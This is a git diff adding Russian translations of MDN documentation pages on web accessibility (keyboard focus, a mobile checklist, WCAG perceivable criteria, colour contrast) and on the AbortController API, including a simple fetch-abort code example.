IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like this.style.backgroundColor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).

+ +

Prevent used key events from performing browser functions

+ +

If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns false, the event will not be propagated beyond your handler.

+ +

For example:

+ +
<span tabindex="-1" onkeydown="return handleKeyDown();">
+ +

If handleKeyDown() returns false, the event will be consumed, preventing the browser from performing any action based on the keystroke.

+ +

Don't rely on consistent behavior for key repeat, at this point

+ +

Unfortunately onkeydown may or may not repeat depending on what browser and OS you're running on.

diff --git a/files/ru/web/accessibility/mobile_accessibility_checklist/index.html b/files/ru/web/accessibility/mobile_accessibility_checklist/index.html new file mode 100644 index 0000000000..3b5bfdd43f --- /dev/null +++ b/files/ru/web/accessibility/mobile_accessibility_checklist/index.html @@ -0,0 +1,90 @@ +--- +title: Контрольный список по мобильной доступности +slug: Web/Accessibility/Mobile_accessibility_checklist +tags: + - Мобильная разработка + - доступность +translation_of: Web/Accessibility/Mobile_accessibility_checklist +--- +
+

Этот документ содержит краткий список требований доступности для разработчиков мобильных приложений. Он будет обновляться по мере появления новых техник и подходов.

+
+ +

Цвет

+ + + +

Видимость

+ + + +

Фокус

+ + + +

Текстовые эквиваленты

+ + + +

Обработка состояния

+ + + +

Общие рекомендации

+ + + +
+

Note: The original version of this document was written by Yura Zenevich.

+
+ +

 

diff --git a/files/ru/web/accessibility/understanding_wcag/index.html b/files/ru/web/accessibility/understanding_wcag/index.html new file mode 100644 index 0000000000..fe71b20ebc --- /dev/null +++ b/files/ru/web/accessibility/understanding_wcag/index.html @@ -0,0 +1,59 @@ +--- +title: Understanding the Web Content Accessibility Guidelines +slug: Web/Accessibility/Understanding_WCAG +tags: + - NeedsTranslation + - TopicStub + - WCAG + - Web Content Accessibility Guidelines +translation_of: Web/Accessibility/Understanding_WCAG +--- +

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).

+ +

The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.

+ +

The four principles

+ +

WCAG is broadly broken down into four principles — major things that web content must be to be considered accessible (see Understanding the Four Principles of Accessibility for the WCAG definitions).

+ +

Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.

+ + + +

Should I use WCAG 2.0 or 2.1?

+ +

WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. 

+ +

What is WCAG 2.1?

+ +

WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release WCAG 2.1 Adoption in Europe. 

+ +

WCAG 2.1 includes:

+ + + + + +

This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.

+ +

What is accessibility? and particularity the Accessibility guidelines and the law section provide more related information.

diff --git a/files/ru/web/accessibility/understanding_wcag/keyboard/index.html b/files/ru/web/accessibility/understanding_wcag/keyboard/index.html new file mode 100644 index 0000000000..1b92442abf --- /dev/null +++ b/files/ru/web/accessibility/understanding_wcag/keyboard/index.html @@ -0,0 +1,87 @@ +--- +title: Русский +slug: Web/Accessibility/Understanding_WCAG/Keyboard +translation_of: Web/Accessibility/Understanding_WCAG/Keyboard +--- +

Чтобы веб-страница была полностью доступной, она должна быть управляема кем-то, кто использует только клавиатуру для доступа к ней и управления ею. Сюда входят пользователи программ чтения с экрана, но также могут быть пользователи, у которых есть проблемы с использованием указывающего устройства, такого как мышь или трекбол, или у которых мышь не работает в данный момент, или которые просто предпочитают использовать клавиатуру для ввода, когда это возможно.

+ +

Фокусируемые элементы должны иметь интерактивную семантику

+ +

Если элемент можно сфокусировать с помощью клавиатуры, он должен быть интерактивным; то есть пользователь должен иметь возможность что-то сделать с ним и произвести какое-либо изменение (например, активировать ссылку или изменить параметр).

+ +
+

Note: One important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application"). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").

+
+ +

Most interactive elements are focusable by default; you can make an element focusable by adding a tabindex=0 attribute value to it. However, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.

+ +

See also

+ + + +

Avoid using tabindex attribute greater than zero

+ +

The tabindex attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their tabindex values (1, then 2, then 3, etc.).

+ +

This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive tabindex values.

+ +

See also

+ + + +

Clickable elements must be focusable and should have interactive semantics

+ +

If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.

+ +

An element is clickable if it has an onclick event handler defined. You can make it focusable by adding a tabindex=0 attribute value to it. You can make it operable with the keyboard by defining an onkeydown event handler; in most cases, the action taken by event handler should be the same for both types of events.

+ +

See also

+ + + +

Interactive elements must be able to be activated using a keyboard

+ +

If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.

+ +

See also

+ + + +

Interactive elements must be focusable

+ +

If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a tabindex=0 attribute value to it. That will add the element to the list of elements that can be focused by pressing the Tab key, in the sequence of such elements as defined in the HTML document.

+ +

See also

+ + + +

Focusable element must have focus styling

+ +

Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the :focus CSS pseudo-class.

+ +

Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.

+ +

If you create your own focusable components, be sure that you also define focus styling for them.

+ +

See also

+ + diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html new file mode 100644 index 0000000000..e63497f6ee --- /dev/null +++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html @@ -0,0 +1,56 @@ +--- +title: Цветовой контраст +slug: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast +tags: + - WCAG + - Контраст + - доступность +translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast +--- +

Описание проблемы

+ +

Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.

+ +

Пример хорошего контраста:An example of good color contrast consisting of the words good contrast with a light purple background.

+ +

Пример плохого контраста:An example of bad color contrast consisting of the words bad contrast with a dark purple background.

+ +

Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.

+ +

Связанные с WCAG критерии успеха

+ +
+
1.4.3 Минимальный контраст (AA)
+
Цветовой контраст между фоном и содержимым переднего плана должен быть минимальным, чтобы обеспечить удобочитаемость: +
    +
  • Текст и его фон должны иметь контрастность не менее 4.5.1.
    • +
  • Текст заголовка (или просто крупный текст) должен иметь соотношение не менее 3.1. Крупный текст определяется как минимум 18pt или 14pt полужирный.
    • +
+
+
1.4.6 Улучшенный контраст (AAA)
+
Это следует и основывается на критерии 1.4.3. +
    +
  • Текст и его фон должны иметь контрастность не менее 7.1.
    • +
  • Текст заголовка (или просто крупный текст) должен иметь соотношение не менее 4.5.1.
    • +
+
+
1.4.11 Нетекстовый контраст (AA) (добавлен в 2.1)
+
Минимальное соотношение цветовой контрастности для компонентов пользовательского интерфейса и графических объектов должно составлять 3 к 1.
+
+ +

Решение

+ +

При выборе цветовой схемы для вашего сайта, выберите цвета переднего плана и фона, которые имеют хороший контраст. Сделайте цветовой контраст настолько хорошим, насколько это возможно в рамках ваших проектных ограничений — в идеале используйте рейтинг AAA (см. 1.4.6 выше), или в крайнем случае, соответствуйте рейтингу AA (см. 1.4.3 выше).

+ +

Если вы используете нетекстовый контент, такой как видео или анимация, вы должны следовать 1.4.11.

+ +

Чтобы проверить свой контраст при выборе цвета, используйте такой инструмент, как Color Contrast Checker от WebAIM.

+ +

Вы также можете проверить цветовой контраст на лету с помощью инструментов разработчика Firefox — см. наше руководство Инспектор доступности, и в частности раздел Цветовой контраст.

+ +

Смотрите также

+ + diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/index.html new file mode 100644 index 0000000000..8388c3206f --- /dev/null +++ b/files/ru/web/accessibility/understanding_wcag/perceivable/index.html @@ -0,0 +1,359 @@ +--- +title: Perceivable +slug: Web/Accessibility/Understanding_WCAG/Perceivable +tags: + - Accessibility + - NeedsTranslation + - Principle 1 + - TopicStub + - WCAG + - Web Content Accessibility Guidelines + - contrast + - different presentation + - text alternatives + - time-based media +translation_of: Web/Accessibility/Understanding_WCAG/Perceivable +--- +

This article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the Perceivable principle of the Web Content Accessibility Guidelines (WCAG) 2.0 and 2.1. Perceivable states that users must be able to perceive it in some way, using one or more of their senses.

+ +
+

Note: To read the W3C definitions for Perceivable and its guidelines and success criteria, see Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.

+
+ +

Guideline 1.1 — Providing text alternatives for non-text content

+ +

The key here is that text can be converted to other forms people with disabilities can use, so for example spoken by a screenreader, zoomed in, or represented on a braille display. Non-text content refers to multimedia such as images, audio, and video.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Success criteriaHow to conform to the criteriaPractical resource
1.1.1 Provide text equivalents  (A)All images that convey meaningful content should be given suitable alternative text.Text alternatives.
Complex images or charts should have an accessible alternative provided, either on the same page or linked to. Use a regular link rather than the longdesc attribute. +

A text description may work, or an accessible data table (see HTML table advanced features and accessibility). Also see Other text alternative mechanisms for the argument against longdesc.

+
Multimedia content (e.g. audio or video) should at least have a descriptive identification available (e.g. a caption or similar). +

See Text alternatives for static caption options, and Audio transcripts, Video text tracks, and Other multimedia content for other alternatives.

+
UI Controls such as form elements and buttons should have text labels that describe their purpose.Buttons are simple — you should make sure the button text describes the function of the button (e.g. <button>Upload image</button>). For further information on other UI controls, see UI controls.
Implement decorative (non-content) images, video, etc., in a way that is invisible to assistive technology, so it doesn't confuse users. +

Decorative images should be implemented using CSS background images (see Backgrounds).  If you have to include an image via an {{htmlelement("img")}} element, give it a blank alt (alt=""), otherwise screenreaders may try to read out the filepath, etc.

+ +

If you are including background video or audio that autoplays, make it as unobtrusive as possible. Don't make it look/sound like content, and provide a control to turn it off. Ideally, don't include it at all.

+
+ +
+

Note: Also see the WCAG description for Guideline 1.1: Text alternatives.

+
+ +

Guideline 1.2 — Providing text alternatives for time-based media

+ +

Time-based media refers to multimedia with a duration, i.e. audio and video. Also note that if the audio/video serves as an alternative to existing text content, you don't need to provide another text alternative.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Success criteriaHow to conform to the criteriaPractical resource
1.2.1 Provide alternatives for pre-recorded audio-only and video-only content (A)A transcript should be provided for prerecorded audio-only media, and a transcript or audio description should be provided for prerecorded video-only media (i.e. silent video).See Audio transcripts for transcript information. No audio description tutorial available as yet.
1.2.2 Provide captions for web-based video (A)You should provide captions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't hear the audio part of the video.See Video text tracks for HTML5 video captions, and Other multimedia content for other technologies. See also Add your own subtitles & closed captions (YouTube).
1.2.3 Provide text transcript or audio description for web-based video (A)You should provide text transcripts or audio descriptions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone.See Audio transcripts for transcript information. No audio description tutorial available as yet.
1.2.4 Provide captions for live audio (AA)You should provide synchronized captions for all live multimedia that contains audio (e.g. video conferences, live audio broadcasts.) 
1.2.5 Provide audio descriptions for prerecorded video (AA)Audio descriptions should be provided for prerecorded video, but only where the existing audio does not convey the full meaning expressed by the video. 
1.2.6 Provide sign language equivalent to prerecorded audio (AAA)An equivalent sign language video should be provided for any prerecorded content containing audio. 
1.2.7 Provide extended video with audio descriptions (AAA)Where audio descriptions cannot be provided (see 1.2.5) due to video timing issues (e.g. there are no suitable pauses in the content in which to insert the audio descriptions), an alternative version of the video should be provided that includes inserted pauses (and audio descriptions). 
1.2.8 Provide an alternative for prerecorded media (AAA)For all content that features video, a descriptive text transcript should be provided, for example a script of the movie you are watching. This is for the benefit of hearing impaired viewers who cannot hear the content.See Audio transcripts for transcript information.
1.2.9 Provide a transcript for live audio (AAA)For any live audio content being broadcast, a descriptive text should be provided, for example a script of the play or musical you are listening to. This is for the benefit of hearing impaired viewers who cannot hear the content.See Audio transcripts for transcript information.
+ +
+

Note: Also see the WCAG description for Guideline 1.2: Time-based Media: Provide alternatives for time-based media.

+
+ +

Guideline 1.3 — Create content that can be presented in different ways

+ +

This guideline refers to the ability of content to be consumed by users in multiple ways, accomodating their differing needs.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Success criteriaHow to conform to the criteriaPractical resource
1.3.1 Info and relationships (A) +

Any content structure — or visual relationship made between content —  can also be determined programmatically, or be inferred from text description. The main situations in which this is relevant are:

+ +
    +
  • Text labels and the form elements they describe are associated unambiguously using the {{htmlelement("label")}} element, which can be picked up by screenreaders, etc.
    • +
  • Image alt text — content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g. alt text), or otherwise is easy to associate (e.g. describes it and is sat right next to it). This should means that the full meaning can still be inferred even if you can't see the image.
    • +
  • Lists — if the order of list items is important, and ordered list should be used ({{htmlelement("ol")}}).
    • +
+ 		The whole of +

HTML: A good basis for accessibility is packed with information about this, but you should particularly refer to Good semantics, UI controls, and Text alternatives.

+
1.3.2 Meaningful content sequence (A)A sensible, logical reading order should be easy to determine for any content, even if it is visually presented in an unusual way. The order should be made obvious by use of correct semantic elements (e.g. headings, paragraphs), with CSS being used to create any unusual layout styles, irrespective of the markup.Again, refer to HTML: A good basis for accessibility.
1.3.3 Sensory characteristics (A) +

Instructions for operating controls or understanding content do not rely on a single sense — this may prove inaccessible to people with a disability related to that sense, or a device that does not support that sense. So for example:

+ +
    +
  • "Click the round button to continue" — The button should be clearly labelled so that it is obvious that it is the button you need to press. If there are multiple buttons, make sure there are all clearly labelled to distinguish their function.
    • +
  • "Listen to the audio instructions for guidance" — This is obviously problematic — audio will be inaccessible to those with heading impairments, whereas text can be read, but also spoken by a screenreader if required.
    • +
  • "Swipe from the right hand side of the screen to reveal the menu" — some users might not be able to swipe the screen, either due to disability or because their device does not support touch. An alternative should be provided, such as a keyboard shortcut or button that can be activated by keyboard or other means.
    • +
+ +
+

Note: Conveying instructions solely by color is related, but covered in a different guideline — 1.4.1.

+
+ 		 
1.3.4 Orientation (AA) added in 2.1Content does not restrict its view and operation to a single display orientation, such as portrait or landscape, unless a specific display orientation is essential. +

Understanding Orientation 

+
1.3.5 Identify Input Purpose (AA) added in 2.1 +

 

+ +

Follow the list of 53 input fields to programmatically identify the purpose of a field.   

+ 		Understanding Identify Input Purpose
1.3.6 Identify Purpose (AAA) added in 2.1In content implemented using markup languages, the purpose of User Interface Components, icons, and regions can be programmatically determined.Understanding Identify Purpose
+ +
+

Note: Also see the WCAG description for Guideline 1.3: Adaptable: Create content that can be presented in different ways without losing information or structure.

+
+ +

Guideline 1.4: Make it easier for users to see and hear content including separating foreground from background

+ +

This guideline relates to making sure core content is easy to discernable from backgrounds and other decoration. The classic example is color (both color contrast and use of color to convey instructions), but it applies in other situations too.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Success criteriaHow to conform to the criteriaPractical resource
1.4.1 Use of color (A) +

Color should not be solely relied upon to convey information — for example, in forms you should never mark required fields purely with a color (like red). Instead (or as well as), something like an asterisk with a label of "required" would be more appropriate.

+ 		See Color and color contrast and Multiple labels.
1.4.2 Audio controls (A)For any audio that plays for longer than three seconds, accessible controls should be provided to play and pause the audio/video, and mute/adjust volume.Use native <button>s to provide accessible keyboard controls, as shown in Video player syling basics.
1.4.3 Minimum contrast (AA) +

The color contrast between background and foreground content should be at a minimum level to ensure legibility:

+ +
    +
  • Text and its background should have a contrast ratio of at least 4.5.1.
    • +
  • Heading (or just larger) text should have a ratio of at least 3.1. Larger text is defined as at least 18pt, or 14pt bold.
    • +
+ 		See Color and color contrast.
1.4.4 Resize text (AA)The page should be readable and usable when the text size is doubled. This means that designs should be responsive, so that when the text size is increased, the content is still accessible. 
1.4.5 Images of text (AA)Images should NOT be used to present content where text would do the job. For example, if an image is mostly textual, it could be represented using text as well as images. 
1.4.6 Enhanced contrast (AAA) +

This follows, and builds on, criterion 1.4.3.

+ +
    +
  • Text and its background should have a contrast ratio of at least 7.1.
    • +
  • Heading (or just larger) text should have a ratio of at least 4.5.1. Larger text is defined as at least 18pt, or 14pt bold.
    • +
+ 		 
1.4.7 Low or no background audio (AAA)Prerecorded audio recordings that primarily feature speech should have minimal background noise, so the content can be easily understood. 
1.4.8 Visual presentation (AAA) +

For text content presentation, the following should be true:

+ +
    +
  • Foreground and background colors should be user-selectable.
    • +
  • Text blocks should be no wider than 80 characters (or glyphs), for maximum readability.
    • +
  • Text should not be fully justified (e.g. text-align: justify;)
    • +
  • line height should be at least 1.5 times the text size within paragraphs (e.g. line-height: 1.5;), and at least 2.25 times the text size between paragraphs (e.g. padding: 2.25rem;)
    • +
  • When the text size is doubled, the content should not need to be scrolled.
    • +
+ 		 
1.4.9 Images of text (No Exception) (AAA)Text should not be presented as part of an image unless it is purely decoration (i.e. it does not convey any content), or cannot be presented in any other way. 
1.4.10 Reflow (AA) added in 2.1 +
    +
  • No horizontal scrolling for right-to-left languages (like English) or left-to-right languages (like Arabic)   
    • +
  • No vertical scrolling for top-to-bottom languages (like Japanese)
    • +
  • Except for parts of the content which require two-dimensional layout for usage or meaning (like a large data table).
    • +
+ 		Understanding Reflow
1.4.11 Non-Text Contrast(AA) added in 2.1Minimum color contrast ratio of 3 to 1 for user interface components and graphical objects. Understanding Non-Text Contrast
1.4.12 Text Spacing (AA) added in 2.1 +

No loss of content or functionality occurs when the following styles are applied: 

+ +
    +
  • Line height (line spacing) to at least 1.5 times the font size;
    • +
  • Spacing following paragraphs to at least 2 times the font size;
    • +
  • Letter spacing (tracking) to at least 0.12 times the font size;
    • +
  • Word spacing to at least 0.16 times the font size.
    • +
+ 		Understanding Text Spacing
1.4.13 Content on Hover or Focus (AA) added in 2.1 +

Additional content appear and disappear in coordination with hover and keyboard focus, this success criterion specifies three conditions that must be met:

+ +
    +
  • dismissable (can be closed/removed)
    • +
  • hoverable (the additional content does not disappear when the pointer is over it) 
    • +
  • persistent (the additional content does not disappear without user action)
    • +
+ 		Understanding Content on Hover or Focus
+ +
+

Note: Also see the WCAG description for Guideline 1.4: Distinguishable: Make it easier for users to see and hear content including separating foreground from background..

+
+ +

 

+ +

See Also

+ + + +

 

diff --git "a/files/ru/web/accessibility/\320\262\320\265\320\261-\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\260/index.html" "b/files/ru/web/accessibility/\320\262\320\265\320\261-\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\260/index.html" new file mode 100644 index 0000000000..3c20770967 --- /dev/null +++ "b/files/ru/web/accessibility/\320\262\320\265\320\261-\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\260/index.html" @@ -0,0 +1,50 @@ +--- +title: Веб-разработка +slug: Web/Accessibility/Веб-разработка +tags: + - ARIA + - Web Development + - XUL + - доступность +translation_of: Web/Accessibility +--- +

Здесь ссылки на более подробную информацию для разработчиков о доступности (accessibility) в Веб и в XUL.

+ + + + + + + + +
+

Доступность в Вебе

+ +
+
ARIA для разработчиков
+
ARIA позволяет делать доступным динамический HTML-контент. Examples are live content regions and JavaScript widgets.
+
Keyboard-navigable JavaScript widgets
+
До недавнего времени у веб-разработчиков, желавших сделать свои виджеты на основе <div>, <span> и стилей доступными с клавиатуры, не было the proper techniques. Управляемость с клавиатуры — одно из минимальных требований accessibility, о которых должен знать каждый разработчик.
+
+ +

Доступность XUL

+ +
+
 
+
Building accessible custom components in XUL
+
How to use DHTML Accessibility techniques to add accessibility to your custom XUL components.
+
Accessible XUL authoring guidelines
+
When authored according to these guidelines, XUL is capable of generating accessible user interfaces. Coders, reviewers, designers and QA engineers should be familiar with these guidelines.
+
+ 		+

Внешние ресурсы

+ +
+
Dive into Accessibility
+
Эта книга отвечает на два вопроса. Первый — «Зачем мне делать мой сайт более доступным?» Второй — «Как мне сделать мой сайт более доступным?»
+
Accessible Web Page Authoring
+
A handy web accessibility checklist, from IBM.
+
+
+ +

 

diff --git a/files/ru/web/api/abortcontroller/abort/index.html b/files/ru/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..df1fa26a0c --- /dev/null +++ b/files/ru/web/api/abortcontroller/abort/index.html @@ -0,0 +1,89 @@ +--- +title: AbortController.abort() +slug: Web/API/AbortController/abort +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Метод abort() интерфейса {{domxref("AbortController")}} прерывает DOM запрос (например Fetch запрос) до его завершения. Это позволяет прервать fetch запросы, использование любого ответа {{domxref("Body")}} и потоков.

+ +

Синтаксис

+ +
controller.abort();
+ +

Параметры

+ +

Отсутствуют.

+ +

Возвращаемое значение

+ +

Не возвращает.

+ +

Примеры

+ +

 

+ +

В следующем фрагменте мы будем загружать видео используя Fetch API.

+ +

Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

+ +

Когда fetch запрос инициируется, мы передаём AbortSignal в качестве опции внутрь объекта параметров запроса (см. {signal} ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.

+ +

 

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}
+ +
+

Примечание: Когда abort() вызывается, fetch() обещание отклоняется с AbortError.

+
+ +

Вы можете найти полный работающий пример на GitHub — см. abort-api (увидеть работу в живую).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortcontroller/abortcontroller/index.html b/files/ru/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..29d45de85f --- /dev/null +++ b/files/ru/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.AbortController() +slug: Web/API/AbortController/AbortController +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Конструктор AbortController() создаёт новый экземпляр объекта AbortController.

+ +

Синтаксис

+ +
var controller = new AbortController();
+ +

Параметры

+ +

Нет.

+ +

Примеры

+ +

 

+ +

В следующем фрагменте мы будем загружать видео используя Fetch API.

+ +

Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

+ +

Когда fetch запрос инициируется, мы передаём AbortSignal в качестве опции внутрь объекта параметров запроса (см. {signal} ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.

+ +

 

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}
+ +
+

Примечание: Когда abort() вызывается, fetch() обещаение отклоняется с AbortError.

+
+ +

Вы можете найти полный рабочий пример на GitHub — см. abort-api (см. как он работает в живую).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с бразуерами

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..16854d03ae --- /dev/null +++ b/files/ru/web/api/abortcontroller/index.html @@ -0,0 +1,97 @@ +--- +title: AbortController +slug: Web/API/AbortController +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Интерфейс AbortController представляет объект контроллера, который позволяет вам при необходимости обрывать один и более DOM запросов.

+ +

Вы можете создать новый объект AbortController используя конструктор {{domxref("AbortController.AbortController()")}}. Взаимодействие с DOM запросами сделано с использованием объекта {{domxref("AbortSignal")}}.

+ +

Конструктор

+ +
+
{{domxref("AbortController.AbortController()")}}
+
Создает новый инстанс объекта AbortController.
+
+ +

Свойства

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
Возвращает инстанс объекта {{domxref("AbortSignal")}}, который может быть использован для коммуникаций/останова DOM запросов.
+
+ +

Методы

+ +
+
{{domxref("AbortController.abort()")}}
+
Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать fetch запросы, потребителей любых ответов с {{domxref("Body")}} и потоки.
+
+ +

Примеры

+ +

В текущем фрагменте мы пытаемся скачать видео используя Fetch API.

+ +

Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

+ +

При инициализации fetch запроса, мы передаем AbortSignal в качестве параметра (смотрите ниже {signal}). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность оставновить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

Заметка: При вызове abort(), промис fetch() будет отклонен с AbortError.

+
+ +

Вы можете найти полный рабочий пример на GitHub — смотрите abort-api (и живой пример).

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.AbortController")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortcontroller/signal/index.html b/files/ru/web/api/abortcontroller/signal/index.html new file mode 100644 index 0000000000..9d6dfa4304 --- /dev/null +++ b/files/ru/web/api/abortcontroller/signal/index.html @@ -0,0 +1,87 @@ +--- +title: AbortController.signal +slug: Web/API/AbortController/signal +translation_of: Web/API/AbortController/signal +--- +

{{APIRef("DOM")}}{{SeeCompatTable}}

+ +
+

Примечание: Это свойство только для чтения.

+
+ +

Свойство signal интерфейса {{domxref("AbortController")}} возвращает экземпляр объекта {{domxref("AbortSignal")}}, который может быть использован для связи/прерывания DOM запроса по желанию.

+ +

Синтаксис

+ +
var signal = abortController.signal;
+ +

Значение

+ +

Экземпляр объекта {{domxref("AbortSignal")}}.

+ +

Примеры

+ +

